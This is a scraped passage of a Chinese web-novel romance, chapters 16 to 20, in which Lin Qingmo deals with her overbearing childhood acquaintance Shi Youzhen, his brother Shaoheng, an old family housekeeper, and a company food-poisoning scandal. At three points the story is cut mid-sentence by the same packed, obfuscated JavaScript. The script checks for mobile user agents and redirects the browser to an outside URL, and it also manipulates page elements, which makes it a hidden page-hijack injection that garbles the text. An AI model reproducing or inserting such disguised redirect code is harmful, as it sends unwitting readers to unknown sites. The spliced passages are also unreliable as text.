在给出更合理化的解释之前,施友臻只能先这样自洽。 将这个简单的空间收拾一番之后,已经将近晚上十一点,当然,清茉的卧室施友臻是没有进去干涉的。 施友臻再次拨通清茉电话,问她:“你朋友情况怎么样。” 清茉:“没大事,等化验结果呢。” 施友臻抬眼看了下时间,说着:“位置给我,我去看看,太晚了。” 清茉忙拒绝:“真不用,谢谢哥,您快忙吧,医生简单检查过,真的就等结果呢。” 施友臻:“好,随时联系。”他结束通话,拉到清茉之前发的照片那里,放大看清了照片中医院的标识,下楼开车赶过去。 行为动机自我分析为:马上深夜十二点,林清茉这么晚在外面,不可控。 到医院停车场给清茉电话,清茉过了几分钟从一旁急诊大楼跑出来,深夜很冷,清茉一路跑得很急,呼出一团团白色雾气,短款羽绒服看着很轻薄,清茉跑到车旁的时候被风吹得缩了肩膀,问着: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071969|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哥,你怎么知道在这里?” 施友臻让她上车,把空调调得更暖,说着:“照片上有医院名字,忙完了?” 清茉想着这乱糟糟奇葩的一天,说着:“嗯,忙完了,她家人过来陪着输液,我就可以走了。” 施友臻问:“那个六六?” 清茉:“啊,不是,另外的人。哥,你是信不过我才非要跑一趟亲自来查验吗?” 施友臻对于清茉交友甚广的风格早有预期并颇有微词,施友臻觉得最理想的状态是让清茉跟过去的生活一刀切,切割得干干净净去开始新的生活。但是看她熬了大半宿给朋友帮忙,也讲不出教育的话。 一路淌过来才成了现在的她,可怜之人确有可恨之处,但是看着清茉把自己的小房子打理得那么有生活气息,并没有满坑满谷的高仿货和不堪入目的低廉玩意。她真的跟之前说得那么随便、拜金吗? 清茉搓了搓手,说着:“谢谢哥。” 今天倒是挺有礼貌,很乖巧的样子,施友臻心里舒坦很多。 其实今天非要过来一趟,施友臻有话对清茉讲。载着清茉返程的路上,施友臻斟酌着话语,沉默着开过半程,红灯前停下的时候,施友臻开口道:“清茉,我之前说不要肢体接触,不是针对你故意去说,对所有人都一样,不是歧视。” 施友臻斟酌良久的话讲出去,并没有得到清茉的回应,侧脸看过去,清茉竟然睡着了。 红灯变成绿灯,施友臻没有注意到,后面的车辆“滴滴滴”催促,吵到了刚刚眯了一下的清茉,清茉睁开眼睛,揉了揉,有点睡懵,问他:“哥,你怎么来了?刚才说什么?” 施友臻:“……” 清茉今天实在是累坏了,暖气一打,就开始犯困。她好好的年假,竟然碰到这么奇葩的糟心事儿,堪称职场生涯最大无语事件。 她的公司,今天都上了本地新闻。 公司副总让何姝负责的团建,在郊区一个度假村进行,今天中午用餐后,集体食物中毒,没几个小时就全体上吐下泻,附近医院急诊都被塞满了,领导层慌得一批,有几个症状厉害的同事,包括清茉交好的人事部门小姐妹,要紧急转院到市中心大医院。 清茉跟几个值班、请假没参加团建的同事被紧急召唤,帮着在市中心接应照顾。 刚才输液的人事小姐妹一脸蜡黄地给清茉转发本地新闻报道,骂到:“我不告到副总下台,我势不两立!谁他妈不知道她给七大姑八大姨包私活!” 清茉太无语了,帮另外几位虚弱到住院的同事找好夜间护工,都安排妥了还要跟总经理汇报情况,连夜还要流转公关稿子,还有参与跟上级主管部门情况汇报的编写。 她又累又饿,看着施友臻有种木木的不真实感,脑子反应不过来似的,又问了句:“哥你怎么来了?” 施友臻:“……你困懵了吗?” 清茉没什么精神,累累糯糯说着:“嗯……是好困,也冷,想吃口热乎的。” 施友臻听见,觉得自己好像被毛茸茸的小猫咪挠了一下,软软痒痒的。 17. 第十七章 一边看不惯他的傲慢,一边又不自觉地在他面前松弛。 疲惫的深夜,平缓行驶车辆,车内暖烘烘的空调,清茉就这么没有戒备心地打了瞌睡,陡然间被车喇叭惊醒,心跳很快,心慌中回不过神来,反射弧拉长,讲话都慢半拍。 对,是施家大哥看不惯她深夜逗留外面,破案似的放大照片找到医院名字,驱车而来。 清茉攥着安全带,往上坐直了些,打起几分精神。 施友臻问她:“想吃什么?” 清茉:“算了,哥你不困吗?已经很晚了。” 向来精力旺盛并且刚刚喝过咖啡的施友臻回答:“不困。” 前面又是一个红灯,施友臻停驻车子的时候,拨通了一个电话号码,跟对方说着:“要麻烦您准备一份夜宵,嗯,对,简单温补的就好,可以……二十分钟左右到,谢谢。” 难得施友臻讲话语气这么客气,清茉好奇问着:“是要去哪里吃夜宵吗?听起来是很了不起的地儿。” 施友臻:“嗯。” 他觉得清茉应该喜欢吃。 清茉以为是哪家深夜还营业的餐厅,结果车子驶入一个普通的住宅小区,离清茉住的地方隔着几条街,倒是不远。施友臻泊好车,竟然是朝着住宅楼的一个单元门走进去,清茉问着:“这儿还藏着宝藏美食会所?” 施友臻没接她话,在前面带路:“到了就知道了。” 电梯停到6层,已经有人在门口等候,对施友臻打招呼道:“您来了,正好今天煨了菌菇鸡汤,加班到现在吗?”老人慈眉善目,跟施友臻讲话间,毫不掩饰熟稔和亲厚。 清茉看着眼前银发的老人一愣,银发老人也瞧见了清茉,但是不知道是不是因为电梯间灯光不够亮,并没有立刻认出来,但是笑得很和蔼,对施友臻说着:“难得带朋友来,我再去加几个小菜。” 清茉犹豫片刻,还是主动打招呼道:“安姨,好久不见,这么晚打扰您。” 老人闻言一愣,上前一步仔细盯着清茉打量,讶异问着:“是……茉茉?是茉茉吗?” 清茉:“嗯,是我,安姨您好。” 安姨紧紧握住清茉的手,把她拉进屋子里,激动说着:“你这丫头片子,知道安姨多惦记嘛!一个两个都是狠心的人!说音信全无就都不见了影儿……少衡上周过来吃饭还念叨你。” 清茉不喜欢这样的面对,毫不知情下被架火上烤,没有一点心理防备,甚至有扭头就走的冲动。 良好的教养还是让她稳住了,跟热情的安姨进了屋里。 安姨是之前在施家照顾施少衡、施友臻兄弟俩的阿姨,当然,也没少照顾清茉,清茉以前超爱吃安姨煮的饭,尤其是放学后的晚餐,清茉没少跟施家兄弟俩一起用餐,安姨经常做些烘焙甜品,都会单独给清茉送去一份。 确实是以为不会再见的人。 或者,也并不是那么想见。 清茉如坐针毡,安姨给她端来鸡汤馄饨小面,香鲜扑鼻,但是清茉难以下咽,安姨去厨房给她端来一碟酱菜,说着:“你跟少衡给我砸坏的酱缸我还没找你算账呢!一眨眼都是大姑娘了,这些年过得怎么样?你都不知道少衡都多惦记你,你俩真是两小无猜长大,我以为……” 施友臻打断道:“安姨,让她先吃饭。” 安姨笑道:“对对对,这大冷天,来我这里就对了,我给你卧两个红糖鸡蛋好不好?你小时候爱吃。” 清茉浑身紧绷,摇头道:“不用,谢谢安姨,我不饿,这就够了,别麻烦了。” 安姨已经进了厨房说着:“别生分,等着,马上就好。” 林清茉抬眼看了施友臻一眼,见他稳如泰山地吃着鲜美的鸡汤馄饨,心里很失落。对于施友臻来说,这里是深夜可以小憩的温暖驿站,对于她来说,则是再次要被旧时光凌迟的困顿之地。 林清茉垂眸看着鸡汤馄饨,安静也吃了起来,吃不下也硬吃,等安姨端上来卧的红糖荷包蛋,清茉也全部吃了,感谢道:“谢谢安姨。” 安姨看清茉吃得好,很开心念叨着:“看来我手艺还是很好嘛,茉茉还想吃什么跟我讲,把你电话留给我,改天跟少衡一起过来吃饭,他最近又是健身又是打球,饭量大得很,上次来吃老鸭煲,吃了整整一只!” 清茉笑着应道:“好。” 施友臻:“今天太晚了,我们先回去了。” 安姨送他们出门,依依不舍送下楼,留了清茉电话,一直拉着清茉的手,清茉看着安姨已经满头的白发,本来就不是滋味的心里,更是五味杂陈。 清茉坐上施友臻的车,仍旧紧绷,车子刚刚驶出小区,清茉突然用力握住施友臻臂弯,脸色煞白说着:“停车。” 施友臻停靠到路旁,清茉推来车门冲下去,扶着路边绿化带中的树干,狂吐起来,吐得很凶,把刚才下肚的汤水全部呕了出来。 吐到酸胆苦水灼烧食道和喉咙,她耳中轰鸣,还是压不住恶心。 施友臻完全没有料到发生这种情形,他起先僵住几秒,然后回车里拿了水和纸巾,过去顺着清茉的后背,清茉将他推开,缓了会站直身子,接过施友臻的水,手有些抖,拧了下没有拧开,施友臻拿过去帮她拧开。 再递过去的时候,清茉没有接,她讲话的声音虚弱低微带着哑,她说着:“哥,我是真的,不想再见到你。也不想见到少衡或者安姨。都不想,一点也不想。” 她站直身子,看看旁边的道路标识,走回家也不远,二十分钟左右,她辨认好方向,沿着人行道往前走。 夜晚很安静,没有行人,也没有车辆,她清瘦的背影看上去很孤单,但是脊背挺得很直,倔强单薄地在寒夜中前行。往前走的影子,被路灯慢慢拉长,又慢慢变短。 施友臻站在那里,沉默地看着清茉独自前行的背影,那些自洽的逻辑,像将倾大厦,摇摇欲坠。 放任是不可能的,施友臻上车,开到清茉前面。 清茉被施友臻挡住了前路,想绕开,施友臻拉住了她的手腕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079685|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>俩人跟上演默剧似的。 施友臻打破沉默,说着:“我跟你道歉,是我考虑不周。先回家休息。”说着,又几分生硬地加了句:“先回家,好不好?” 他没这么哄过谁,原本是看不惯这种矫情又幼稚的方式,但是现在觉得,好像该哄一哄,生硬不熟练的哄,也是好的。 清茉疲惫地不想再跟他扯皮,就上了车。 那瓶水,又被施友臻递了过来,这次清茉接了。 递水的时候碰到清茉的手,冰得惊人。施友臻发动车子,调高温度,看她接了水但是没有喝,侧脸看向清茉,发现清茉哭了。 跟施友臻的想象大相径庭。他一直以为,清茉这样的女孩,笑是爽朗大声的笑,哭也会是痛快大声的哭,但是现在,清茉沉默压抑地一声不吭坐在那里,眼泪唰唰顺着脸颊滚落,一滴一滴从下巴上砸落。 再次超出了施友臻的应对预案。 在新的应对预案想出来之前,车子已经到了清茉楼下,清茉还是礼貌说了句:“谢谢。” 施友臻也下车,预案总是不能完全覆盖风险情形,危机情形下更考验人的应变能力。施友臻决定顺应本能直觉。 他还是拦住准备上楼的清茉,然后浅浅把清茉圈在胸前,保持着绅士的间隔距离,说着:“抱歉。” 清茉原本已经没有再哭了,脸上还挂着未干泪痕,被施友臻这虚虚的生硬拥抱圈在男人胸前,也是愣住了。 说到底,他有什么可抱歉的,又不是他的错。 清茉又忍不住掉眼泪,说着:“哥,你别来找我了,跟少衡说,也别打我电话了,我安静生活得很好。这些天,遇到你我其实也很开心,但是不想再见更多次了,就这样吧哥,我想自己,安静生活,你别说抱歉,你又没做错什么,说到底,我们其实是没什么关系的人,是我该感谢你的好心,哥,你跟小时候一样,心很软。” 清茉啜泣着用额头抵住施友臻肩膀,说着:“我没有过得不好,没有很不好。” 又想起施友臻说过不喜欢跟人肢体接触,清茉抬起头,往后退了一步,说着:“哥,回去吧,我也没什么能力再买新的房子,搬家不现实,还是拜托你以后别过来了,我不想见以前的人,也不想想起来以前的事儿,是我的问题,抱歉。” 施友臻握住清茉的手腕,把她拉进身前,低头看着清茉哭红的眼睛和煞白的小脸。 是哪里出现了偏差? 他拥抱住了清茉,踏踏实实地拥在胸前,他想,这个时候应该给予一个兄长的拥抱,正常的,没有间隙的,紧一些的。 但是清茉推开了施友臻,还没来得及拥抱更紧,很容易就被推开,清茉哑着声音说着:“我先上楼了,哥,再见。” 施友臻没有再拦,她是该好好休息。 但是他也没有走,在深夜安静的小区道路上来回踱步,直到看到清茉房间的灯关闭,施友臻仍旧没有走,他回到车上,没有半点睡意。 他需要复盘,是哪里出现了偏差。 18. 第十八章 林清茉早晨被闹铃喊醒,昨儿晚上睡前特意定好的时间,她的年假算是拜拜了,今天得继续帮着公司里善后。站在洗漱台镜子前,清茉瞧着自己哭肿的眼睛,也是很无语,冲动的情绪化行为一般都会伴随着后悔和懊恼,就像此时此刻的她。 有什么好哭的,显得她很脆弱似的,怎么就哭了呢?丢人。 洗漱出来,清茉总觉得闻到咖啡香气,下意识地想着,待会去公司楼下,买杯热咖啡,别的也吃不进去,喝杯冰美式提神消肿,正想着,突然看到了阳台旁置物架上的新物件,竟然凭空多出来一台咖啡机。 能够来去自如进出她住所,并且主意大过天的人,答案显而易见只有一个。 机器操作说明书放在一旁,清茉过去翻看,咖啡豆也都妥妥当当放好了,自己的蓝胖子水杯也摆放在咖啡机旁,清茉环视四周检查,昨天夜里哪有心情仔细看,这会才发现,施友臻连房间都给收拾了一番。 他很闲吗? 他怎么这么闲? 他自己弄的还是叫家政? 清茉看了眼时间,要是试着做一杯,估计上班会迟到。不过她还是决定做一杯。咖啡豆很香,油脂溢出的时候很治愈,发呆间已经出液完成。 蓝胖子机器猫水杯里盛着浓香的咖啡液,清茉站在并不宽敞的阳台上看着外面清晨街道,忙碌的一天清晨,行人车辆都匆匆忙忙出行,外面街道已经开始堵车,熨贴地品完着一杯咖啡,清茉舒展胳膊腰肢,换衣服出门。 下楼的时候,非常意外在楼下看到了施友臻的车。 不仅是施友臻的车,还有围着他车辆的几个保安。 清茉:“……” 车里没有人,保安在大声讨论着:“怎么停这儿了?谁的车也不留个电话号码?” 车辆位置倒是不挡道,也没占用消防通道,就是不在小区规定停车位,小区物业隔三差五会巡逻检查提示一番,但是施友臻的车怎么没开走?他人呢? 清茉放缓脚步,听着保安们继续讨论着:“这车够土豪,我之前怎么没见过,能查到登记联系人吗?” “刚才中控查了,没有,算了别管了,估计是临停,待会就开走了。” “那不成啊,十点有检查,队长说得清走。” “又没联系方式怎么清,这车咱可不敢碰。” “队长说联系不上就拖走!” 清茉停住脚步,想给施友臻发信息,但是碍于昨天哭哭啼啼的豪言壮志,怎么也下不去手,这么快就主动联系,非常有又当又立之嫌。 正犹豫着呢,突然进来一条施友臻的信息,清茉点开一看,施家大哥明晃晃写着:“车在楼下,外出先开这辆,钥匙在你门口玄关置物架上。如果没有驾照,找代驾司机接送。” 然后转过来三千块钱。 清茉哪儿还敢点接收,怎么演下去都是问题。 驾照倒是有,作为公司行政一姐,没少开公车。清茉赶紧上楼,发现钥匙还真是在玄关搁置架上,取了钥匙匆匆下楼,把车子停到了停车区域,又揣着钥匙跑着追公交车去了。 到了公司已经十点多,因为团建集体食物中毒,今天能来公司的没几个人,何姝倒是蜡黄着脸已经坐在了工位上,见到清茉都要哭出来了,问着:“姐,怎么办啊,我感觉我要完了。” 清茉就知道会这样,果然何姝说着说着就哭出来了,现在副总不承认跟承包团建组织方企业有关系,而且确实没有实际证据,都是副总面对面讲的一些话,谁还天天带着录音笔呢,网上一点痕迹都没有留。 所以说这个活动从头到尾的组织人员只有何姝一个。发生这么大的安全事件,肯定是有人要担责的,总经理、董事长估计不会蹚浑水,结果指向已经很明显,就是眼前哭着写情况说明的何姝。 清茉同情她,但是也不想蹚浑水,只能说职场经验都是吃亏吃出来的,她能做的就是帮着搞些文书工作,斟酌下用词,再去各个医院看看同事们情况,估计保险理赔也是很麻烦的一件事。 清茉让何姝先赶紧写,她去副总办公室请示一下。 副总脸色也不好看,清茉进去的时候正拉着脸听电话,见清茉进来,结束通话说着:“来了,你还真是走运,不是让你今天上班嘛,怎么来这么晚,考勤算迟到。” 清茉突然走神想到了那杯醇厚的咖啡,笑道:“我还没销假呢,今儿得算加班,您还好吧,我昨天看晓阳他们几个转院市里的,还挺严重。” 副总脸色更难看:“行了,别幸灾乐祸说热闹话了,董事长那边你带何姝去汇报,他要去医院慰问,你去安排好。” 清茉:“这事儿我不能去跟董事长汇报,我一是级别不够,不能越级汇报,二是我压根没有参与这个活动,汇报不明白。” 副总直接拍了桌子:“林清茉!你是不想干了是不是!” 清茉礼貌微笑道:“何总,这事儿我是真的级别不够,我跟何姝去,挺怠慢的,董事长会觉得咱们公司不够担当,您也知道二级公司里那么多人瞧着咱们这儿跃跃欲试,我是觉得,事儿反正都发生了,就好好善后,最起码态度得有。” 何副总虽然仍旧脸色不好,不过没再拍桌子,指了指门口示意清茉先出去,说了句:“你去联系一边,统计一下公司职工现在的情况。” 清茉就这么打了一天电话,嗓子眼都冒烟了,同事们情况参差不齐,几位症状严重的同事家里人很气愤,逮着清茉一通输出,清茉心里也觉得公司应对不够及时,最起码现在高层们一个出面去慰问的都没有。 人事部门全军覆没,清茉临时还要兼起来人事的工作,跟合作的保险公司商谈,忙得一口水都顾不上喝,还要抽空安抚一下情绪崩溃的何姝。 等都忙差不多了,清茉接到人事小姐妹晓阳电话,晓阳还在医院住院输液,讲话还是很虚弱地问着:“姐,今儿怎么样?” 清茉起身出去,去外面平台打电话,说着:“甭提了,就几个人在,乱成一锅粥,领导们集体消失,咱们公司门口还有想采访的记者呢,我让安保大哥帮忙照应盯着点。你呢,感觉怎么样?能吃进去东西了吗?待会我过去看你。” 晓阳:“你别跑了,我就不放心,你机 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“你为什么不接我电话!你还把我拉黑!但是你跟我哥去安姨家吃饭!你跟我哥见面但是拉黑我!安姨都告诉我了!安姨给我的也是六六给的那个号码!你肯定拉黑我了对不对!你为什么说不是你!你凭什么区别对待!你怎么跟我哥吃饭也不接我电话!我怎么你了你拉黑我!你怎么能先跟我哥见面?你们谁约的谁!说好最好的朋友一辈子呢!林清茉你没有心是不是!” 清茉接电话接了一天,耳朵眼都疼,被施少衡一吼,更疼,但是听着施少衡还是元气满满的样子,已经不自觉莞尔,耐心等他发泄完,才说着:“没区别对待,我让你哥也别出现在我眼前儿了,一样。” 施少衡继续输出:“那怎么能一样!你们都见过面!都吃过饭!我连电话都没打上!你知道我从小最讨厌什么,你不能叛变!” 清茉笑道:“闭嘴吧,你还小孩儿吗?跟你说真的呢,你哥俩别烦我,不见就是不见,之前没见过,你不也过得挺滋润,甭跟我演,我还不知道你,行了,忙着呢。” 施少衡:“不行,你得说明白,怎么就不能见面了,你不说明白我就一直打,我去搞一万个电话号码一直给你打。” 一笔写不出两个施字,兄弟们还真是一个德性,清茉觉得不给个正当理由,施少衡也不是善罢甘休的主儿,他哥还算是个能听进去人话的,这施老二疯起来没个谱,清茉想了想,说着: “因为我现在还很介意啊,听说当年给我家设套,又瓜分我家产业的,你们施家是大头,所以你说,还见什么?这些事儿现在也不好翻帐,如果是真的,那么你们就是加害,我就是受害,咱谁也别脸皮那么厚,各自安好吧。” 施少衡,沉默片刻,没有再吵闹,冷静说着:“这事儿两说,没调查没证据谁也别忙着定罪,你怀疑我理解,给我点时间,我去查一查,会给你一个交代。” 清茉没吭声,施少衡接着说:“所以先把我从黑名单里放出来。” 然后,他冷静的成熟语调维持不到十秒,又换了语气央求道:“茉茉~茉茉~放我出来~” 清茉:“……” 啊,烦。 19. 第十九章 林清茉是指挥和哄骗施少衡的高手,从小就是,指哪儿打哪儿。 施少衡:“茉茉,要不我们先见面,见面详细聊好不好?你给我个定位,我保证嗖一下就出现在你面前!” 林清茉:“我在上班,没空看你猴子屁股发射火箭表演。” 施少衡笑道:“茉茉还在工作吗?是模特拍摄吗?茉茉你声音还是很好听,爱听,见面多聊会呗,我认识很多模特经济老板,给你介绍!” 林清茉:“我可高攀不起,不见就是不见,行了没事也别打电话。” 施少衡:“凭什么电话不能打!你都跟我哥见面了!电话必须能打吧,我每天都要打!” 林清茉知道以施少衡尿性,不达目的磨起来没完没了,真能给你找一万个号码轮番轰炸,就干脆制定了底线,说着:“每天最多只能打一次,晚上七点以后打,不打更好,你就说能不能做到吧,能做到我就给你解除黑名单,不能你就继续黑名单里呆着。” 施少衡:“凭什么啊,你都跟我哥见面吃饭,我都不能给你打电话!” 林清茉:“我数一二三,你就说行不行吧,一,二……。” 施少衡:“行。” 林清茉:“今天的通话机会跟时长已经耗尽,请您明天再拨。” 施少衡:“……” 昨天情绪崩溃跟施家大哥说狠话,狠是挺狠,操作有难度,比如现在包里还放着施友臻的车钥匙,“又当又立”说的就是自己没跑了,眼下避不开的两件事情:第一要还车,第二要跟施友臻汇报少衡已经跟她联系上了,让施家大哥自己定夺该怎么处置。 最好是施友臻揍他弟弟一顿,让施老二不准跟她来往才好,没有比施友臻更适合唱白脸的人了,严肃起来拉着脸,很凶残的样子。 清茉加班把参加团建的同事们情况摸底,汇编成表格,发给领导们之后已经九点多,还是先去了医院看望晓杨。晓杨挂了两天水,明天观察一天就可以出院,清茉给她带了容易消化的面包,晓杨八卦问着:“战况如何?” 清茉今天嗓子都哑了,也拿了一个面包,就着手里冷冰冰的矿泉水啃起来,说着:“还能怎么样,都按兵不动呗,我都没见到董事长跟总经理的影儿。” 晓杨:“何姝呢?” 清茉:“哭呢,一天哭了好几次,她也真是怪可怜的,搞不好要背锅。” 晓杨:“啧。” 清茉:“我好好的年假算是泡汤了,所以年假就得出去旅游,出国那种,不用被召回处理烂摊子。” 晓杨:“谁说不是呢,你也快回去休息吧,谢谢我亲爱的饭搭子。” 清茉:“嗯,回了,好好休息。” 附近有地铁,进站听到提示才发现,自己乘坐的是末班车,乘客也不少,好在有座位,坐下才觉得很疲累,昨天哭肿的眼睛今天一直涩涩的,瞧着地铁里的其他乘客,好像都挺疲劳的样子,有玩累的,还有跟她一样牛马归厩的。 出地铁口,离她家得走十五分钟,清茉去旁边24小时便利店买了一支巧克力脆皮雪糕,在寒冬腊月的街头上,边走边吃,心里都是事儿,燥得慌,需要一口又甜又凉的抚平下心绪。 正好吃完雪糕也到家了,路过施友臻的车,清茉琢磨着,要不还车的时候摊牌得了,施友臻会揍她一顿吗? 进门警惕地环视四周,安静,没有异样,没有入侵痕迹。 清茉松口气。人的接受能力还真是层层递进,对施友臻随便进出都见怪不怪了,该快点联系客服问问怎么修改密码,清茉想着,是不是也因为还是相信施友臻的人品,施家大哥一直都是人品贵重,这种看法她认同百分之八十。 清茉直接去浴室洗澡,睡前去厨房烧热水的时候,发现了新装的洗碗机,很贵的品牌,大小正好契合她的厨房位置,说明书放置在桌面上。 田螺姑娘,不,田螺爷们施友臻,这是又默默干好事儿了,干好事儿还不留名,今天竟然销声匿迹,一点骚扰也无,清茉无语地仰天长叹,拉开洗碗机参观了一小下,决定还是睡吧,就当没看到,先睡吧,睡醒了可能会发现就是梦一场。 疲惫,思虑重,再加上一根寒夜街头雪糕,清茉睡前就觉得嗓子有点疼,喝了包感冒冲剂预防,先睡下了。睡得不踏实,好像一直难以进入深睡状态,凌晨三点半,手机震动把清茉吵醒,清茉翻身扒拉过来,是个陌生座机号码。 清茉接听,对方语速很快地讲完,清茉赶紧从床上蹦起来,抓起包就往外冲。是医院护士打来的电话,晓杨凌晨过后突然情况加重,她家人都不在这个城市,留紧急联系人的时候,留了清茉的电话。 情况着急,清茉直接开了施友臻的车。 发动车子的时候有点恍惚,车内周遭都是施友臻惯用的松木香调,好像施友臻本人就坐在她身旁。 赶到医院,忙着面谈医生,办手续,缴费,大夫说是突发药物过敏,用药后已经基本稳定,建议身边留人观察一夜。 其实也已经快黎明了,清茉看着昏睡的晓杨,短短三天,整个人瘦了一整圈,本来就瘦瘦小小南方姑娘,更弱不禁风了。清茉去问护士要了个体温计,自己测了下,好像也发烧了,她去买了口罩,在病房外走廊长椅上待着。 第二天早晨,晓杨醒了,大夫说没什么事儿了,清茉帮晓杨找好护工,她自己已经烧到三十八度多,怕继续待着给人家交叉感染,而且也实在没有力气了。打电话给何姝说今天需要请病假,何姝天塌了似的郁闷道:“清茉姐你是不是故意的?” 林清茉一愣,明白过来,说着:“不是,你提醒领导们一下,补偿跟慰问都排上日程吧,晓杨情况比较严重,其他人都能出院,她得继续住院,建议公司有人过来看一下。” 何姝:“你撂摊子扔给我,我怎么弄啊!” 林清茉:“弄吧,肯定都能弄,不明白的请示何副总,她教你。” 何姝:“你怎么这样,这个时候请病假太假了吧。” 清茉直接结束通话,去急诊找医生开了一周病假的条子。 开车离开的时候,突然想起来,融恒集团就在回去的路上,中途不如把车还回去,钥匙交给前台,让前台行政转交施友臻,免得再见面尴尬。 清茉觉得自己可真是太聪明了。 想法是好的,现实很骨感,清茉路况不熟,施友臻的车子她也没开熟练,离着人车合体的感觉十万八千里,所以拐进融恒大厦楼前广场泊车的时候,竟然卷到了隔离人行道的石墩子,清茉吓一跳,感觉下车去查看。 蹭得很离谱,变形,掉漆。 安保已经小跑着奔过来了,喊着:“这儿不能停车!” 啊,好烦。 清茉瞥见旁边也有车开进来,要停到一旁停车位,说着:“我临时停一下,这车不也能停嘛,稍等,我进楼还一下钥匙,待会有人下来就开走了。” 安保师傅很负责:“不行,人家那是专门的停车位。”话音刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093732|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,清茉就看到一个见过的人从旁边车上下来了,就是上次给清茉送文件的章大秘,清茉可算是逮着救星了,赶紧过去打招呼道:“您好!还记得我吗?” 章宁被她吓一跳,认清后惊讶问着:“对,您好。” 清茉笑道:“我给还车来了,但是吧,刚才没看到石墩子,蹭了一下,您能帮我把钥匙捎给施总吗?” 章宁抬了抬眼镜框,迅速判断形势并进行了分析,果断决定自己是绝对不能平白无故去做替罪羔羊,于是蹲下来仔细查看车况,问着:“确实是施总的车,您开的?” 清茉:“对,不小心……” 章宁没有问林清茉为什么开施总的车,但是直白表示道:“这车太贵重了,国内都不一定找到能补漆的地儿,我建议您自己跟施总谈谈,抱歉,爱莫能助。” 林清茉:“……” 果然是同道中人,她稍微理解了一点何姝想刀她的抓狂喊叫。 章宁冷静看了一眼林清茉,突然就掏出手机打电话:“施总,您的车现在停在公司前广场,林小姐开来的,但是刚才刮蹭了一下……人没事……嗯,好的施总。” 林清茉听完他打电话,觉得自己的体温已经从三十八度飙升到了四十度。 章宁对林清茉礼貌微笑道:“施总说马上下来。” 虽然说,躲得过初一躲不过十五,但是吧,今儿清茉真的一点力气跟精力都没有了,她把车钥匙往挡风玻璃前面一放,说着:“那让他自己拿钥匙吧,赔偿的事情我再单独跟他聊。” 章宁当然不会动手动脚去拦,他饶有兴味地放任林清茉离开,然后对着几分钟后赶来的施友臻把林小姐的话原封不动传达,并且给施友臻指了指林清茉离开的方向,说着:“应该也没走很远。” 中断会议下楼的施友臻,就直接冲着林清茉的方向快步赶去。 章宁在身后小声“哇哦”了一下。 清茉站在路边打车,司机还有三分钟到。 商务区的白天车水马龙,寸土寸金的中心地带,抬头可以仰望融恒集团大厦这种TOP级别的金字塔尖儿,低头是一地鸡毛的牛马人生,身旁跑过一个扎着高马尾抱着文件包狂跑的年轻女孩,清茉站在路边莞尔一笑,好像看到了前些年的自己。 被人拉住手腕的时候,清茉吓得一抖,本能反应着挣扎,回头就看到了施友臻。 清茉一愣,因为高烧畏寒,打了个冷颤,说着:“哥?”然后她继续快速说着,颇有立马招供可以减刑的样子:“哥,少衡给我电话,我接了。还有刚才不小心,蹭了你的车,今天着急开车出去了趟,是不是很难补漆,对不起。” 少衡的事情,清茉其实心里很负担,面儿上可以嘻嘻哈哈,心里觉得过不去坎儿,施友臻警告她不能接近少衡的时候很严肃,清茉问:“哥,那你能跟少衡说说吗?我接了电话,哥会骂我吗?” 施少衡微启嘴唇,话都没说,清茉挣了挣手腕,没挣开,自顾自地说着:“今儿别骂,我发烧了,再骂我就直接晕这儿了。” 施友臻没吭声,抬手就去摸清茉额头,入手滚烫,他这会脸上阴沉,像真生气的模样,质问:“发烧你跑出来?” 清茉:“哥,说好了别骂!” 施友臻好像极力忍耐了一下,稍微缓和语气说着:“先去看医生。” 清茉:“我刚从医院出来,已经拿好药了,准备回家呢,走了哥。” 能让她走,那也就不是施友臻了。 20、第二十章 以前蚊子咬了、苍蝇踢了都能娇滴滴哼哼半天的主儿,现在发着高烧也一脸淡定地站在阴冷冬日寒风凛冽的街头,今天没有精致明艳的妆容,素颜白净的脸上是气血不足的虚弱,眉眼带了山水画似的清淡留白意蕴。 不知道是畏寒还是高烧,她打了个明显的寒颤,几分倔强试探,又讨好畏惧地说着: “哥,你别生气呗。” 施友臻此刻深觉,时空的割裂感大抵如此,清茉或许是对的,有些故人,不见更好,一旦见了,就介入到了彼此的因果,搅乱了既定的轨迹。 成为人上人很难,淹没在尘埃里太容易,施友臻这两天冷静之下,正视了自己对林清茉的偏见,偏见之后是一丝动摇,清茉算是用自己的方式摸爬滚打讨生活,方式存在争议,道德上甚至说可以定罪。 矛盾和割裂感在于,跟清茉的自述截然相反,按照施友臻的观察,她好像在很积极很认真的生活,比如那个温馨布置的小房产,还有她身边热闹又亲密帮扶的朋友们。 